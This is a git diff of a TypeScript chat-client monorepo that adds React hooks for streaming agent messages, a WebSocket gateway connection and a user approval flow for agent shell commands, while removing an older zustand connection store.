||||
|
||||
/** Process a StreamPayload → update messages + streamingIds */
|
||||
const handleStream = useCallback((payload: StreamPayload) => {
|
||||
const { event } = payload;
|
||||
|
||||
switch (event.type) {
|
||||
case "message_start": {
|
||||
const newMsg: Message = {
|
||||
id: payload.streamId,
|
||||
role: "assistant",
|
||||
content: [],
|
||||
agentId: payload.agentId,
|
||||
};
|
||||
const content = extractContent(event);
|
||||
if (content.length) newMsg.content = content;
|
||||
|
||||
setMessages((prev) => [...prev, newMsg]);
|
||||
setStreamingIds((prev) => new Set(prev).add(payload.streamId));
|
||||
break;
|
||||
}
|
||||
case "message_update": {
|
||||
const content = extractContent(event);
|
||||
setMessages((prev) =>
|
||||
prev.map((m) => (m.id === payload.streamId ? { ...m, content } : m)),
|
||||
);
|
||||
break;
|
||||
}
|
||||
case "message_end": {
|
||||
const content = extractContent(event);
|
||||
const stopReason =
|
||||
"message" in event
|
||||
? (event.message as { stopReason?: string })?.stopReason
|
||||
: undefined;
|
||||
|
||||
setMessages((prev) =>
|
||||
prev.map((m) => {
|
||||
if (m.id === payload.streamId) return { ...m, content, stopReason };
|
||||
if (m.role === "toolResult" && m.toolStatus === "running" && m.agentId === payload.agentId) {
|
||||
return { ...m, toolStatus: "interrupted" as ToolStatus };
|
||||
}
|
||||
return m;
|
||||
}),
|
||||
);
|
||||
setStreamingIds((prev) => {
|
||||
const next = new Set(prev);
|
||||
next.delete(payload.streamId);
|
||||
return next;
|
||||
});
|
||||
break;
|
||||
}
|
||||
case "tool_execution_start": {
|
||||
setMessages((prev) => [
|
||||
...prev,
|
||||
{
|
||||
id: uuidv7(),
|
||||
role: "toolResult",
|
||||
content: [],
|
||||
agentId: payload.agentId,
|
||||
toolCallId: event.toolCallId,
|
||||
toolName: event.toolName,
|
||||
toolArgs: event.args as Record<string, unknown> | undefined,
|
||||
toolStatus: "running",
|
||||
isError: false,
|
||||
},
|
||||
]);
|
||||
break;
|
||||
}
|
||||
case "tool_execution_end": {
|
||||
setMessages((prev) =>
|
||||
prev.map((m) =>
|
||||
m.role === "toolResult" && m.toolCallId === event.toolCallId
|
||||
? {
|
||||
...m,
|
||||
toolStatus: (event.isError ? "error" : "success") as ToolStatus,
|
||||
isError: event.isError ?? false,
|
||||
content:
|
||||
event.result != null
|
||||
? [{ type: "text" as const, text: typeof event.result === "string" ? event.result : JSON.stringify(event.result) }]
|
||||
: [],
|
||||
}
|
||||
: m,
|
||||
),
|
||||
);
|
||||
break;
|
||||
}
|
||||
case "tool_execution_update":
|
||||
break;
|
||||
}
|
||||
}, []);
|
||||
|
||||
/** Add pending approval */
|
||||
const addApproval = useCallback((payload: ExecApprovalRequestPayload) => {
|
||||
setPendingApprovals((prev) => [...prev, { ...payload, receivedAt: Date.now() }]);
|
||||
}, []);
|
||||
|
||||
/** Remove pending approval */
|
||||
const removeApproval = useCallback((approvalId: string) => {
|
||||
setPendingApprovals((prev) => prev.filter((a) => a.approvalId !== approvalId));
|
||||
}, []);
|
||||
|
||||
return {
|
||||
// Rendering state
|
||||
messages,
|
||||
streamingIds,
|
||||
isStreaming,
|
||||
hasMore,
|
||||
pendingApprovals,
|
||||
error,
|
||||
// State control (for transport layer to call)
|
||||
setError,
|
||||
setHistory,
|
||||
prependHistory,
|
||||
addUserMessage,
|
||||
handleStream,
|
||||
addApproval,
|
||||
removeApproval,
|
||||
};
|
||||
}
|
||||
|
||||
export type UseChatReturn = ReturnType<typeof useChat>;
|
||||
128
packages/hooks/src/use-gateway-chat.ts
Normal file
128
packages/hooks/src/use-gateway-chat.ts
Normal file
|
|
@ -0,0 +1,128 @@
|
|||
"use client";
|
||||
|
||||
import { useState, useEffect, useCallback, useRef } from "react";
|
||||
import {
|
||||
type GatewayClient,
|
||||
type StreamPayload,
|
||||
type GetAgentMessagesResult,
|
||||
type ExecApprovalRequestPayload,
|
||||
type ApprovalDecision,
|
||||
DEFAULT_MESSAGES_LIMIT,
|
||||
StreamAction,
|
||||
ExecApprovalRequestAction,
|
||||
} from "@multica/sdk";
|
||||
import { useChat } from "./use-chat";
|
||||
|
||||
interface UseGatewayChatOptions {
|
||||
client: GatewayClient;
|
||||
hubId: string;
|
||||
agentId: string;
|
||||
}
|
||||
|
||||
export function useGatewayChat({ client, hubId, agentId }: UseGatewayChatOptions) {
|
||||
const chat = useChat();
|
||||
const [isLoading, setIsLoading] = useState(false);
|
||||
const [isLoadingHistory, setIsLoadingHistory] = useState(true);
|
||||
const [isLoadingMore, setIsLoadingMore] = useState(false);
|
||||
const isLoadingMoreRef = useRef(false);
|
||||
const offsetRef = useRef<number | null>(null);
|
||||
|
||||
// Fetch latest messages on mount
|
||||
useEffect(() => {
|
||||
client
|
||||
.request<GetAgentMessagesResult>(hubId, "getAgentMessages", {
|
||||
agentId,
|
||||
limit: DEFAULT_MESSAGES_LIMIT,
|
||||
})
|
||||
.then((result) => {
|
||||
chat.setHistory(result.messages, agentId, {
|
||||
total: result.total,
|
||||
offset: result.offset,
|
||||
});
|
||||
offsetRef.current = result.offset;
|
||||
})
|
||||
.catch(() => {})
|
||||
.finally(() => setIsLoadingHistory(false));
|
||||
}, [client, hubId, agentId]);
|
||||
|
||||
// Subscribe to events
|
||||
useEffect(() => {
|
||||
client.onMessage((msg) => {
|
||||
if (msg.action === StreamAction) {
|
||||
const payload = msg.payload as StreamPayload;
|
||||
chat.handleStream(payload);
|
||||
if (payload.event.type === "message_start") setIsLoading(true);
|
||||
if (payload.event.type === "message_end") setIsLoading(false);
|
||||
return;
|
||||
}
|
||||
if (msg.action === ExecApprovalRequestAction) {
|
||||
chat.addApproval(msg.payload as ExecApprovalRequestPayload);
|
||||
return;
|
||||
}
|
||||
if (msg.action === "error") {
|
||||
chat.setError(msg.payload as { code: string; message: string });
|
||||
return;
|
||||
}
|
||||
});
|
||||
return () => { client.onMessage(() => {}); };
|
||||
}, [client]);
|
||||
|
||||
const sendMessage = useCallback(
|
||||
(text: string) => {
|
||||
const trimmed = text.trim();
|
||||
if (!trimmed) return;
|
||||
chat.addUserMessage(trimmed, agentId);
|
||||
chat.setError(null);
|
||||
client.send(hubId, "message", { agentId, content: trimmed });
|
||||
setIsLoading(true);
|
||||
},
|
||||
[client, hubId, agentId],
|
||||
);
|
||||
|
||||
const loadMore = useCallback(async () => {
|
||||
const currentOffset = offsetRef.current;
|
||||
if (currentOffset == null || currentOffset <= 0 || isLoadingMoreRef.current) return;
|
||||
|
||||
isLoadingMoreRef.current = true;
|
||||
setIsLoadingMore(true);
|
||||
try {
|
||||
const newOffset = Math.max(0, currentOffset - DEFAULT_MESSAGES_LIMIT);
|
||||
const limit = currentOffset - newOffset;
|
||||
const result = await client.request<GetAgentMessagesResult>(
|
||||
hubId, "getAgentMessages", { agentId, offset: newOffset, limit },
|
||||
);
|
||||
chat.prependHistory(result.messages, agentId, {
|
||||
total: result.total,
|
||||
offset: result.offset,
|
||||
});
|
||||
offsetRef.current = result.offset;
|
||||
} catch {
|
||||
// Best-effort — pagination failure does not block chat
|
||||
} finally {
|
||||
isLoadingMoreRef.current = false;
|
||||
setIsLoadingMore(false);
|
||||
}
|
||||
}, [client, hubId, agentId]);
|
||||
|
||||
const resolveApproval = useCallback(
|
||||
(approvalId: string, decision: ApprovalDecision) => {
|
||||
chat.removeApproval(approvalId);
|
||||
client.request(hubId, "resolveExecApproval", { approvalId, decision }).catch(() => {});
|
||||
},
|
||||
[client, hubId],
|
||||
);
|
||||
|
||||
return {
|
||||
messages: chat.messages,
|
||||
streamingIds: chat.streamingIds,
|
||||
isLoading,
|
||||
isLoadingHistory,
|
||||
isLoadingMore,
|
||||
hasMore: chat.hasMore,
|
||||
error: chat.error,
|
||||
pendingApprovals: chat.pendingApprovals,
|
||||
sendMessage,
|
||||
loadMore,
|
||||
resolveApproval,
|
||||
};
|
||||
}
|
||||
174
packages/hooks/src/use-gateway-connection.ts
Normal file
174
packages/hooks/src/use-gateway-connection.ts
Normal file
|
|
@ -0,0 +1,174 @@
|
|||
"use client";
|
||||
|
||||
import { useState, useEffect, useCallback, useRef } from "react";
|
||||
import { v7 as uuidv7 } from "uuid";
|
||||
import {
|
||||
GatewayClient,
|
||||
type ConnectionState,
|
||||
} from "@multica/sdk";
|
||||
|
||||
// Persisted connection identity (separate from one-time token)
|
||||
const STORAGE_KEY = "multica-connection-identity";
|
||||
const DEVICE_KEY = "multica-device-id";
|
||||
|
||||
export interface ConnectionIdentity {
|
||||
gateway: string;
|
||||
hubId: string;
|
||||
agentId: string;
|
||||
}
|
||||
|
||||
function loadIdentity(): ConnectionIdentity | null {
|
||||
try {
|
||||
const raw = localStorage.getItem(STORAGE_KEY);
|
||||
if (!raw) return null;
|
||||
const parsed = JSON.parse(raw);
|
||||
if (parsed.gateway && parsed.hubId && parsed.agentId) return parsed;
|
||||
return null;
|
||||
} catch {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
function saveIdentity(identity: ConnectionIdentity): void {
|
||||
localStorage.setItem(STORAGE_KEY, JSON.stringify(identity));
|
||||
}
|
||||
|
||||
function clearIdentity(): void {
|
||||
localStorage.removeItem(STORAGE_KEY);
|
||||
}
|
||||
|
||||
function getDeviceId(): string {
|
||||
let id = localStorage.getItem(DEVICE_KEY);
|
||||
if (!id) {
|
||||
id = uuidv7();
|
||||
localStorage.setItem(DEVICE_KEY, id);
|
||||
}
|
||||
return id;
|
||||
}
|
||||
|
||||
export type PageState = "loading" | "not-connected" | "connecting" | "connected";
|
||||
|
||||
export interface UseGatewayConnectionReturn {
|
||||
pageState: PageState;
|
||||
/** Raw SDK connection state — used by ConnectAgent for verifying/connecting distinction */
|
||||
connectionState: ConnectionState;
|
||||
identity: ConnectionIdentity | null;
|
||||
error: string | null;
|
||||
client: GatewayClient | null;
|
||||
/** Increments on each disconnect — use as React key to reset child components */
|
||||
pairingKey: number;
|
||||
connect: (identity: ConnectionIdentity, token?: string) => void;
|
||||
disconnect: () => void;
|
||||
}
|
||||
|
||||
export function useGatewayConnection(): UseGatewayConnectionReturn {
|
||||
const [pageState, setPageState] = useState<PageState>("loading");
|
||||
const [connectionState, setConnectionState] = useState<ConnectionState>("disconnected");
|
||||
const [identity, setIdentity] = useState<ConnectionIdentity | null>(null);
|
||||
const [error, setError] = useState<string | null>(null);
|
||||
const clientRef = useRef<GatewayClient | null>(null);
|
||||
const disconnectingRef = useRef(false);
|
||||
const pairingKeyRef = useRef(0);
|
||||
|
||||
const connectToGateway = useCallback(
|
||||
(id: ConnectionIdentity, token?: string) => {
|
||||
const doConnect = () => {
|
||||
disconnectingRef.current = false;
|
||||
setPageState("connecting");
|
||||
setError(null);
|
||||
|
||||
const deviceId = getDeviceId();
|
||||
|
||||
const client = new GatewayClient({
|
||||
url: id.gateway,
|
||||
deviceId,
|
||||
deviceType: "client",
|
||||
hubId: id.hubId,
|
||||
...(token ? { token } : {}),
|
||||
})
|
||||
.onStateChange((state: ConnectionState) => {
|
||||
console.log("[GatewayConnection] state:", state);
|
||||
if (disconnectingRef.current) return;
|
||||
setConnectionState(state);
|
||||
if (state === "registered") {
|
||||
saveIdentity(id);
|
||||
setIdentity(id);
|
||||
setPageState("connected");
|
||||
}
|
||||
})
|
||||
.onError((err: Error) => {
|
||||
console.log("[GatewayConnection] error:", err.message);
|
||||
if (disconnectingRef.current) return;
|
||||
pairingKeyRef.current += 1;
|
||||
clearIdentity();
|
||||
setIdentity(null);
|
||||
setError(err.message);
|
||||
setPageState("not-connected");
|
||||
clientRef.current?.disconnect();
|
||||
clientRef.current = null;
|
||||
})
|
||||
.onSendError((err) => {
|
||||
if (disconnectingRef.current) return;
|
||||
setError(err.error);
|
||||
});
|
||||
|
||||
clientRef.current = client;
|
||||
client.connect();
|
||||
};
|
||||
|
||||
// If there's an existing client, disconnect first and wait for Gateway to process
|
||||
if (clientRef.current) {
|
||||
clientRef.current.disconnect();
|
||||
clientRef.current = null;
|
||||
setTimeout(doConnect, 300);
|
||||
} else {
|
||||
doConnect();
|
||||
}
|
||||
},
|
||||
[],
|
||||
);
|
||||
|
||||
// Try to reconnect with saved identity on mount
|
||||
useEffect(() => {
|
||||
const saved = loadIdentity();
|
||||
console.log("[GatewayConnection] mount, saved identity:", saved);
|
||||
if (!saved) {
|
||||
setPageState("not-connected");
|
||||
return;
|
||||
}
|
||||
|
||||
setIdentity(saved);
|
||||
// Delay reconnection — if a previous socket just disconnected (e.g. StrictMode
|
||||
// cleanup or page navigation), the Gateway needs time to process it
|
||||
const timer = setTimeout(() => connectToGateway(saved), 300);
|
||||
|
||||
return () => {
|
||||
clearTimeout(timer);
|
||||
clientRef.current?.disconnect();
|
||||
clientRef.current = null;
|
||||
};
|
||||
}, []);
|
||||
|
||||
const disconnect = useCallback(() => {
|
||||
disconnectingRef.current = true;
|
||||
pairingKeyRef.current += 1;
|
||||
clientRef.current?.disconnect();
|
||||
clientRef.current = null;
|
||||
clearIdentity();
|
||||
setIdentity(null);
|
||||
setPageState("not-connected");
|
||||
setConnectionState("disconnected");
|
||||
setError(null);
|
||||
}, []);
|
||||
|
||||
return {
|
||||
pageState,
|
||||
connectionState,
|
||||
identity,
|
||||
error,
|
||||
client: clientRef.current,
|
||||
pairingKey: pairingKeyRef.current,
|
||||
connect: connectToGateway,
|
||||
disconnect,
|
||||
};
|
||||
}
|
||||
20
packages/hooks/tsconfig.json
Normal file
20
packages/hooks/tsconfig.json
Normal file
|
|
@ -0,0 +1,20 @@
|
|||
{
|
||||
"compilerOptions": {
|
||||
"target": "ESNext",
|
||||
"module": "ESNext",
|
||||
"moduleResolution": "bundler",
|
||||
"declaration": true,
|
||||
"declarationMap": true,
|
||||
"sourceMap": true,
|
||||
"outDir": "./dist",
|
||||
"rootDir": "./src",
|
||||
"strict": true,
|
||||
"esModuleInterop": true,
|
||||
"skipLibCheck": true,
|
||||
"forceConsistentCasingInFileNames": true,
|
||||
"verbatimModuleSyntax": true,
|
||||
"jsx": "react-jsx"
|
||||
},
|
||||
"include": ["src/**/*"],
|
||||
"exclude": ["node_modules", "dist"]
|
||||
}
|
||||
40
packages/sdk/src/actions/exec-approval.ts
Normal file
40
packages/sdk/src/actions/exec-approval.ts
Normal file
|
|
@ -0,0 +1,40 @@
|
|||
/**
|
||||
* Exec Approval Actions — WebSocket protocol types for exec approval flow
|
||||
*/
|
||||
|
||||
/** Action name for exec approval requests (Hub → Client) */
|
||||
export const ExecApprovalRequestAction = "exec-approval-request" as const;
|
||||
|
||||
/** Approval decision types */
|
||||
export type ApprovalDecision = "allow-once" | "allow-always" | "deny";
|
||||
|
||||
/** Payload for exec approval request (Hub → Client) */
|
||||
export interface ExecApprovalRequestPayload {
|
||||
/** Unique approval ID */
|
||||
approvalId: string;
|
||||
/** Agent that initiated the command */
|
||||
agentId: string;
|
||||
/** Shell command requiring approval */
|
||||
command: string;
|
||||
/** Working directory */
|
||||
cwd?: string;
|
||||
/** Evaluated risk level */
|
||||
riskLevel: "safe" | "needs-review" | "dangerous";
|
||||
/** Reasons for the risk assessment */
|
||||
riskReasons: string[];
|
||||
/** When this approval expires (ms since epoch) */
|
||||
expiresAtMs: number;
|
||||
}
|
||||
|
||||
/** Params for resolveExecApproval RPC (Client → Hub) */
|
||||
export interface ResolveExecApprovalParams {
|
||||
/** The approval ID to resolve */
|
||||
approvalId: string;
|
||||
/** User decision */
|
||||
decision: ApprovalDecision;
|
||||
}
|
||||
|
||||
/** Result of resolveExecApproval RPC */
|
||||
export interface ResolveExecApprovalResult {
|
||||
ok: boolean;
|
||||
}
|
||||
|
|
@ -15,6 +15,7 @@ export {
|
|||
isResponseSuccess,
|
||||
isResponseError,
|
||||
type AgentMessageItem,
|
||||
DEFAULT_MESSAGES_LIMIT,
|
||||
type GetAgentMessagesParams,
|
||||
type GetAgentMessagesResult,
|
||||
type GetHubInfoResult,
|
||||
|
|
@ -44,3 +45,11 @@ export {
|
|||
type ImageContent,
|
||||
extractThinkingFromEvent,
|
||||
} from "./stream";
|
||||
|
||||
export {
|
||||
ExecApprovalRequestAction,
|
||||
type ApprovalDecision,
|
||||
type ExecApprovalRequestPayload,
|
||||
type ResolveExecApprovalParams,
|
||||
type ResolveExecApprovalResult,
|
||||
} from "./exec-approval";
|
||||
|
|
|
|||
|
|
@ -60,6 +60,9 @@ export function isResponseError(
|
|||
|
||||
// ============ RPC Method Types ============
|
||||
|
||||
/** Default number of messages returned per page */
|
||||
export const DEFAULT_MESSAGES_LIMIT = 200;
|
||||
|
||||
/** getAgentMessages - request params */
|
||||
export interface GetAgentMessagesParams {
|
||||
agentId: string;
|
||||
|
|
|
|||
|
|
@ -8,13 +8,9 @@
|
|||
"./*": "./src/*.ts"
|
||||
},
|
||||
"dependencies": {
|
||||
"@multica/sdk": "workspace:*",
|
||||
"react": "catalog:",
|
||||
"uuid": "^13.0.0",
|
||||
"zustand": "catalog:"
|
||||
"@multica/sdk": "workspace:*"
|
||||
},
|
||||
"devDependencies": {
|
||||
"@types/react": "catalog:",
|
||||
"typescript": "catalog:"
|
||||
}
|
||||
}
|
||||
|
|
|
|||
|
|
@ -1,324 +0,0 @@
|
|||
/**
|
||||
* Connection Store - manages WebSocket connection lifecycle
|
||||
*
|
||||
* Responsibilities:
|
||||
* 1. Persist deviceId (auto-generated on first run, restored from localStorage)
|
||||
* 2. Establish WebSocket connection to Gateway using connection code (from QR/paste)
|
||||
* 3. Maintain connection state (disconnected → connecting → connected → registered)
|
||||
* 4. Route incoming stream messages from Hub to MessagesStore
|
||||
* 5. Provide send() for MessagesStore to send messages
|
||||
*
|
||||
* Data flow:
|
||||
* connection code → connect() → GatewayClient(Socket.io) → Gateway server
|
||||
* ↓
|
||||
* onMessage callback → MessagesStore
|
||||
*/
|
||||
import { create } from "zustand"
|
||||
import { persist } from "zustand/middleware"
|
||||
import { v7 as uuidv7 } from "uuid"
|
||||
import {
|
||||
GatewayClient,
|
||||
StreamAction,
|
||||
type ConnectionState,
|
||||
type StreamPayload,
|
||||
type AgentEvent,
|
||||
type CompactionEndEvent,
|
||||
type GetAgentMessagesResult,
|
||||
type ContentBlock,
|
||||
} from "@multica/sdk"
|
||||
import { useMessagesStore, type Message } from "./messages"
|
||||
import { clearConnection, type ConnectionInfo } from "./connection"
|
||||
|
||||
interface ConnectionStoreState {
|
||||
deviceId: string
|
||||
gatewayUrl: string | null
|
||||
hubId: string | null
|
||||
agentId: string | null
|
||||
connectionState: ConnectionState
|
||||
lastError: { code: string; message: string } | null
|
||||
/** Whether the current connection required Owner approval (new device) */
|
||||
isNewDevice: boolean | null
|
||||
}
|
||||
|
||||
interface ConnectionStoreActions {
|
||||
connect: (code: ConnectionInfo) => void
|
||||
disconnect: () => void
|
||||
send: (to: string, action: string, payload: unknown) => void
|
||||
}
|
||||
|
||||
export type ConnectionStore = ConnectionStoreState & ConnectionStoreActions
|
||||
|
||||
// Module-level singleton — only one WebSocket connection per app
|
||||
let client: GatewayClient | null = null
|
||||
|
||||
/**
|
||||
* Create a GatewayClient and bind message-handling callbacks.
|
||||
*
|
||||
* GatewayClient is defined in packages/sdk/src/client.ts
|
||||
* It wraps Socket.io and exposes:
|
||||
* - connect() establish WebSocket connection
|
||||
* - disconnect() tear down connection
|
||||
* - send(to, action, payload) send message to a specific device
|
||||
* - request(to, method, params) send RPC request and await response
|
||||
* - onStateChange(cb) listen for connection state changes
|
||||
* - onMessage(cb) listen for incoming messages
|
||||
* - onSendError(cb) listen for send failures
|
||||
* - isRegistered / isConnected connection state checks
|
||||
*
|
||||
* Connection requires two params:
|
||||
* - url: Gateway server address (from connection code's gateway field)
|
||||
* - deviceId: unique device identifier (persisted in this store)
|
||||
*
|
||||
* Sending messages requires two routing params:
|
||||
* - hubId: which Hub to send to (from connection code)
|
||||
* - agentId: which Agent within the Hub (from connection code)
|
||||
*/
|
||||
function createClient(
|
||||
url: string,
|
||||
deviceId: string,
|
||||
hubId: string,
|
||||
token: string,
|
||||
set: (s: Partial<ConnectionStoreState>) => void,
|
||||
getState: () => ConnectionStoreState,
|
||||
): GatewayClient {
|
||||
return new GatewayClient({
|
||||
url,
|
||||
deviceId,
|
||||
deviceType: "client",
|
||||
hubId,
|
||||
token,
|
||||
})
|
||||
// Sync connection state changes to the store
|
||||
.onStateChange((connectionState) => {
|
||||
set({ connectionState })
|
||||
// Fetch message history after successful registration
|
||||
if (connectionState === "registered") {
|
||||
void fetchHistory(getState())
|
||||
}
|
||||
})
|
||||
// Route incoming messages to MessagesStore
|
||||
.onMessage((msg) => {
|
||||
// Streaming messages: Agent replies arrive in chunks
|
||||
if (msg.action === StreamAction) {
|
||||
const payload = msg.payload as StreamPayload
|
||||
const store = useMessagesStore.getState()
|
||||
const { event } = payload
|
||||
|
||||
switch (event.type) {
|
||||
case "message_start": {
|
||||
store.startStream(payload.streamId, payload.agentId)
|
||||
const content = extractContent(event)
|
||||
if (content.length) store.appendStream(payload.streamId, content)
|
||||
break
|
||||
}
|
||||
case "message_update": {
|
||||
const content = extractContent(event)
|
||||
store.appendStream(payload.streamId, content)
|
||||
break
|
||||
}
|
||||
case "message_end": {
|
||||
const content = extractContent(event)
|
||||
const stopReason = "message" in event
|
||||
? (event.message as { stopReason?: string })?.stopReason
|
||||
: undefined
|
||||
store.endStream(payload.streamId, content, stopReason)
|
||||
break
|
||||
}
|
||||
case "tool_execution_start": {
|
||||
store.startToolExecution(
|
||||
payload.agentId,
|
||||
event.toolCallId,
|
||||
event.toolName,
|
||||
event.args,
|
||||
)
|
||||
break
|
||||
}
|
||||
case "tool_execution_end": {
|
||||
store.endToolExecution(
|
||||
event.toolCallId,
|
||||
event.result,
|
||||
event.isError,
|
||||
)
|
||||
break
|
||||
}
|
||||
case "tool_execution_update":
|
||||
// Partial results — not rendered yet, ignored for now
|
||||
break
|
||||
case "compaction_start": {
|
||||
store.startCompaction()
|
||||
break
|
||||
}
|
||||
case "compaction_end": {
|
||||
const evt = event as CompactionEndEvent
|
||||
store.endCompaction({
|
||||
removed: evt.removed,
|
||||
kept: evt.kept,
|
||||
tokensRemoved: evt.tokensRemoved,
|
||||
tokensKept: evt.tokensKept,
|
||||
reason: evt.reason,
|
||||
})
|
||||
break
|
||||
}
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
// Handle error messages from Hub (e.g. UNAUTHORIZED)
|
||||
if (msg.action === "error") {
|
||||
const payload = msg.payload as { code: string; message: string }
|
||||
set({ lastError: { code: payload.code, message: payload.message } })
|
||||
return
|
||||
}
|
||||
|
||||
// Handle direct (non-streaming) messages
|
||||
const payload = msg.payload as { agentId?: string; content?: string }
|
||||
if (payload?.agentId && payload?.content) {
|
||||
useMessagesStore.getState().addAssistantMessage(payload.content, payload.agentId)
|
||||
}
|
||||
})
|
||||
.onVerified((result) => set({ isNewDevice: result.isNewDevice ?? false }))
|
||||
.onError((error) => set({ lastError: { code: "VERIFY_ERROR", message: error.message } }))
|
||||
.onSendError((error) => set({ lastError: { code: error.code, message: error.error } }))
|
||||
}
|
||||
|
||||
/** Fetch message history from Hub via RPC after connection is established */
|
||||
async function fetchHistory(state: ConnectionStoreState): Promise<void> {
|
||||
const { hubId, agentId } = state
|
||||
if (!client || !hubId || !agentId) return
|
||||
|
||||
try {
|
||||
const result = await client.request<GetAgentMessagesResult>(
|
||||
hubId, "getAgentMessages", { agentId, limit: 200 },
|
||||
)
|
||||
|
||||
// Build a lookup map: toolCallId → { name, arguments } from assistant ToolCall blocks
|
||||
const toolCallArgsMap = new Map<string, { name: string; args: Record<string, unknown> }>()
|
||||
for (const m of result.messages) {
|
||||
if (m.role === "assistant") {
|
||||
for (const block of m.content) {
|
||||
if (block.type === "toolCall") {
|
||||
toolCallArgsMap.set(block.id, { name: block.name, args: block.arguments })
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Mirror the backend message array directly
|
||||
const messages: Message[] = []
|
||||
for (const m of result.messages) {
|
||||
if (m.role === "user") {
|
||||
messages.push({
|
||||
id: uuidv7(),
|
||||
role: "user",
|
||||
content: toContentBlocks(m.content),
|
||||
agentId,
|
||||
})
|
||||
} else if (m.role === "assistant") {
|
||||
messages.push({
|
||||
id: uuidv7(),
|
||||
role: "assistant",
|
||||
content: toContentBlocks(m.content),
|
||||
agentId,
|
||||
stopReason: m.stopReason,
|
||||
})
|
||||
} else if (m.role === "toolResult") {
|
||||
const callInfo = toolCallArgsMap.get(m.toolCallId)
|
||||
messages.push({
|
||||
id: uuidv7(),
|
||||
role: "toolResult",
|
||||
content: toContentBlocks(m.content),
|
||||
agentId,
|
||||
toolCallId: m.toolCallId,
|
||||
toolName: m.toolName,
|
||||
toolArgs: callInfo?.args,
|
||||
toolStatus: m.isError ? "error" : "success",
|
||||
isError: m.isError,
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
if (messages.length > 0) {
|
||||
useMessagesStore.getState().loadMessages(messages)
|
||||
}
|
||||
} catch {
|
||||
// History fetch is best-effort — connection still works without it
|
||||
}
|
||||
}
|
||||
|
||||
/** Convert raw backend content (string or block array) to ContentBlock[] */
|
||||
function toContentBlocks(content: string | ContentBlock[]): ContentBlock[] {
|
||||
if (typeof content === "string") {
|
||||
return content ? [{ type: "text", text: content }] : []
|
||||
}
|
||||
if (Array.isArray(content)) return content
|
||||
return []
|
||||
}
|
||||
|
||||
/** Extract content blocks from an AgentEvent that carries a message */
|
||||
function extractContent(event: AgentEvent): ContentBlock[] {
|
||||
if (!("message" in event)) return []
|
||||
const msg = event.message
|
||||
if (!msg || !("content" in msg)) return []
|
||||
const content = msg.content
|
||||
return Array.isArray(content) ? content as ContentBlock[] : []
|
||||
}
|
||||
|
||||
export const useConnectionStore = create<ConnectionStore>()(
|
||||
persist(
|
||||
(set, get) => ({
|
||||
deviceId: uuidv7(),
|
||||
gatewayUrl: null,
|
||||
hubId: null,
|
||||
agentId: null,
|
||||
connectionState: "disconnected",
|
||||
lastError: null,
|
||||
isNewDevice: null,
|
||||
|
||||
// Connect using a connection code (disconnect existing connection first)
|
||||
connect: (code) => {
|
||||
if (client) {
|
||||
client.disconnect()
|
||||
client = null
|
||||
}
|
||||
|
||||
set({
|
||||
gatewayUrl: code.gateway,
|
||||
hubId: code.hubId,
|
||||
agentId: code.agentId,
|
||||
})
|
||||
|
||||
client = createClient(code.gateway, get().deviceId, code.hubId, code.token, set, get)
|
||||
client.connect()
|
||||
},
|
||||
|
||||
// Disconnect and clear all state (messages + saved connection code)
|
||||
disconnect: () => {
|
||||
if (client) {
|
||||
client.disconnect()
|
||||
client = null
|
||||
}
|
||||
useMessagesStore.getState().clearMessages()
|
||||
clearConnection()
|
||||
set({
|
||||
connectionState: "disconnected",
|
||||
gatewayUrl: null,
|
||||
hubId: null,
|
||||
agentId: null,
|
||||
lastError: null,
|
||||
isNewDevice: null,
|
||||
})
|
||||
},
|
||||
|
||||
// Send a message to a target device (called by MessagesStore.sendMessage)
|
||||
send: (to, action, payload) => {
|
||||
if (!client?.isRegistered) return
|
||||
client.send(to, action, payload)
|
||||
},
|
||||
}),
|
||||
{
|
||||
name: "multica-device",
|
||||
// Only persist deviceId — other fields are runtime state
|
||||
partialize: (state) => ({ deviceId: state.deviceId }),
|
||||
},
|
||||
),
|
||||
)
|
||||
|
|
@ -1,5 +1,3 @@
|
|||
const STORAGE_KEY = "multica-connection"
|
||||
|
||||
export interface ConnectionInfo {
|
||||
type: "multica-connect"
|
||||
gateway: string
|
||||
|
|
@ -88,29 +86,3 @@ export function parseConnectionCode(input: string): ConnectionInfo {
|
|||
|
||||
return parsed
|
||||
}
|
||||
|
||||
export function saveConnection(info: ConnectionInfo): void {
|
||||
localStorage.setItem(STORAGE_KEY, JSON.stringify(info))
|
||||
}
|
||||
|
||||
export function loadConnection(): ConnectionInfo | null {
|
||||
const raw = localStorage.getItem(STORAGE_KEY)
|
||||
if (!raw) return null
|
||||
|
||||
try {
|
||||
const info = JSON.parse(raw)
|
||||
if (!isConnectionInfo(info)) return null
|
||||
if (isExpired(info.expires)) {
|
||||
localStorage.removeItem(STORAGE_KEY)
|
||||
return null
|
||||
}
|
||||
return info
|
||||
} catch {
|
||||
localStorage.removeItem(STORAGE_KEY)
|
||||
return null
|
||||
}
|
||||
}
|
||||
|
||||
export function clearConnection(): void {
|
||||
localStorage.removeItem(STORAGE_KEY)
|
||||
}
|
||||
|
|
|
|||
|
|
@ -1,7 +1,3 @@
|
|||
export { useConnectionStore } from "./connection-store"
|
||||
export type { ConnectionStore } from "./connection-store"
|
||||
export { useAutoConnect } from "./use-auto-connect"
|
||||
export { useMessagesStore } from "./messages"
|
||||
export type { Message, MessagesStore, SendContext, ToolStatus, CompactionStats } from "./messages"
|
||||
export { parseConnectionCode, saveConnection, loadConnection, clearConnection } from "./connection"
|
||||
export type { Message, ToolStatus } from "./types"
|
||||
export { parseConnectionCode } from "./connection"
|
||||
export type { ConnectionInfo } from "./connection"
|
||||
|
|
|
|||
|
|
@ -1,208 +0,0 @@
|
|||
/**
|
||||
* Messages Store - manages chat messages and streaming state
|
||||
*
|
||||
* Data model mirrors the backend (pi-ai / pi-agent-core) exactly:
|
||||
* - UserMessage: { role: "user", content: ContentBlock[] }
|
||||
* - AssistantMessage: { role: "assistant", content: ContentBlock[] }
|
||||
* - ToolResultMessage: { role: "toolResult", toolCallId, toolName, content, isError }
|
||||
*
|
||||
* Streaming simply updates the content of the current assistant message in-place.
|
||||
* Tool execution events (start/end) create / update toolResult messages.
|
||||
*/
|
||||
import { create } from "zustand"
|
||||
import { v7 as uuidv7 } from "uuid"
|
||||
import type { ContentBlock } from "@multica/sdk"
|
||||
|
||||
export type ToolStatus = "running" | "success" | "error" | "interrupted"
|
||||
|
||||
export interface CompactionStats {
|
||||
removed: number
|
||||
kept: number
|
||||
